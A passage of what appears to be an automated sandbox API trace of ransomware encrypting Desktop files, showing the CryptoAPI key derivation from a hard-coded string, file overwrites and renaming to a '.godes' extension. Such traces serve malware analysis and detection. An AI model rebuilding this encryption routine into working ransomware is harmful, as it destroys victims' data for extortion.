(lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.149] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.149] CloseHandle (hObject=0x624) returned 1 [0113.150] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.150] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.150] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.150] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RrZY-uYtP04ki0fgCu.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rrzy-uytp04ki0fgcu.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RrZY-uYtP04ki0fgCu.rtf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rrzy-uytp04ki0fgcu.rtf.godes")) returned 1 [0113.151] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.151] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.152] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.152] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb3ee760, ftCreationTime.dwHighDateTime=0x1d4d311, ftLastAccessTime.dwLowDateTime=0x59a3c150, ftLastAccessTime.dwHighDateTime=0x1d4d12b, ftLastWriteTime.dwLowDateTime=0x59a3c150, ftLastWriteTime.dwHighDateTime=0x1d4d12b, nFileSizeHigh=0x0, nFileSizeLow=0x111bb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RWHWfhMg5DcKSbU8_U.bmp", cAlternateFileName="RWHWFH~1.BMP")) returned 1 [0113.152] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.152] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.152] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.152] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RWHWfhMg5DcKSbU8_U.bmp") returned=".bmp" [0113.152] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RWHWfhMg5DcKSbU8_U.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rwhwfhmg5dcksbu8_u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.152] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=70075) returned 1 [0113.152] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.154] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11195, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.154] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.155] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.155] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.155] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.155] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x111bb, lpOverlapped=0x0) returned 1 [0113.156] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.156] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.156] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.156] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.156] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.157] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.157] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.157] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.157] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.157] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.157] GetLastError () returned 0x0 [0113.157] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.157] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.157] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.157] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x111c0) returned 0x3321120 [0113.158] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.158] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.158] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x111b6, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x111b6, lpOverlapped=0x0) returned 1 [0113.158] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.158] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x111bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.158] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.158] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.158] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.158] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.158] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.158] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.158] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.158] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.158] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.158] CloseHandle (hObject=0x624) returned 1 [0113.159] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.159] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.159] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.159] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RWHWfhMg5DcKSbU8_U.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rwhwfhmg5dcksbu8_u.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RWHWfhMg5DcKSbU8_U.bmp.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rwhwfhmg5dcksbu8_u.bmp.godes")) returned 1 [0113.160] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.160] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.161] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.161] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5da5c1c0, ftCreationTime.dwHighDateTime=0x1d4cc6e, ftLastAccessTime.dwLowDateTime=0xf8d36cd0, ftLastAccessTime.dwHighDateTime=0x1d4cbbd, ftLastWriteTime.dwLowDateTime=0xf8d36cd0, ftLastWriteTime.dwHighDateTime=0x1d4cbbd, nFileSizeHigh=0x0, nFileSizeLow=0xef1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="veEwU3WXHMSpQmMMV.mp4", cAlternateFileName="VEEWU3~1.MP4")) returned 1 [0113.161] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.161] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.161] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.161] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\veEwU3WXHMSpQmMMV.mp4") returned=".mp4" [0113.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\veEwU3WXHMSpQmMMV.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\veewu3wxhmspqmmmv.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.161] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=61211) returned 1 [0113.161] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.163] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xeef5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.163] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.164] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.164] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.164] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.164] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xef1b, lpOverlapped=0x0) returned 1 [0113.164] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.164] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.164] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.164] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.164] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.165] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.165] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.165] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.165] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.165] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.165] GetLastError () returned 0x0 [0113.165] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.165] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.165] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.165] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xef20) returned 0x3321120 [0113.165] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.166] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.166] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xef16, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xef16, lpOverlapped=0x0) returned 1 [0113.166] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.166] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xef1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.166] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.166] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.166] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.166] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.166] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.166] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.166] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.166] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.166] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.166] CloseHandle (hObject=0x624) returned 1 [0113.167] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.167] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.167] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.167] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\veEwU3WXHMSpQmMMV.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\veewu3wxhmspqmmmv.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\veEwU3WXHMSpQmMMV.mp4.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\veewu3wxhmspqmmmv.mp4.godes")) returned 1 [0113.168] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.168] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.169] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.169] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d4e18c0, ftCreationTime.dwHighDateTime=0x1d4c774, ftLastAccessTime.dwLowDateTime=0xf0dfdf20, ftLastAccessTime.dwHighDateTime=0x1d4d2a4, ftLastWriteTime.dwLowDateTime=0xf0dfdf20, ftLastWriteTime.dwHighDateTime=0x1d4d2a4, nFileSizeHigh=0x0, nFileSizeLow=0xa46e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z6w5rSJNmosnOqNY.png", cAlternateFileName="Z6W5RS~1.PNG")) returned 1 [0113.169] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.169] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.169] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.169] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z6w5rSJNmosnOqNY.png") returned=".png" [0113.169] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z6w5rSJNmosnOqNY.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z6w5rsjnmosnoqny.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.169] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=42094) returned 1 [0113.169] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.171] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa448, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.171] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.172] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.172] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.172] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.172] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xa46e, lpOverlapped=0x0) returned 1 [0113.172] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.172] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.172] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.172] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.172] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.173] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.173] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.173] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.173] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.173] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.173] GetLastError () returned 0x0 [0113.173] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.173] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.173] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.173] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa470) returned 0x3321120 [0113.173] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.173] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.173] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xa469, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xa469, lpOverlapped=0x0) returned 1 [0113.174] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.174] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa46e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.174] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.174] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.174] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.174] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.174] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.174] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.174] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.174] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.174] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.174] CloseHandle (hObject=0x624) returned 1 [0113.175] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.175] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.175] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.175] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z6w5rSJNmosnOqNY.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z6w5rsjnmosnoqny.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z6w5rSJNmosnOqNY.png.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z6w5rsjnmosnoqny.png.godes")) returned 1 [0113.176] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.176] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.177] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.177] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2adb9bc0, ftCreationTime.dwHighDateTime=0x1d4cd9a, ftLastAccessTime.dwLowDateTime=0x92f7e680, ftLastAccessTime.dwHighDateTime=0x1d4c581, ftLastWriteTime.dwLowDateTime=0x92f7e680, ftLastWriteTime.dwHighDateTime=0x1d4c581, nFileSizeHigh=0x0, nFileSizeLow=0xd53, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ze0Y.avi", cAlternateFileName="")) returned 1 [0113.177] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.177] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.177] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.177] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ze0Y.avi") returned=".avi" [0113.177] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 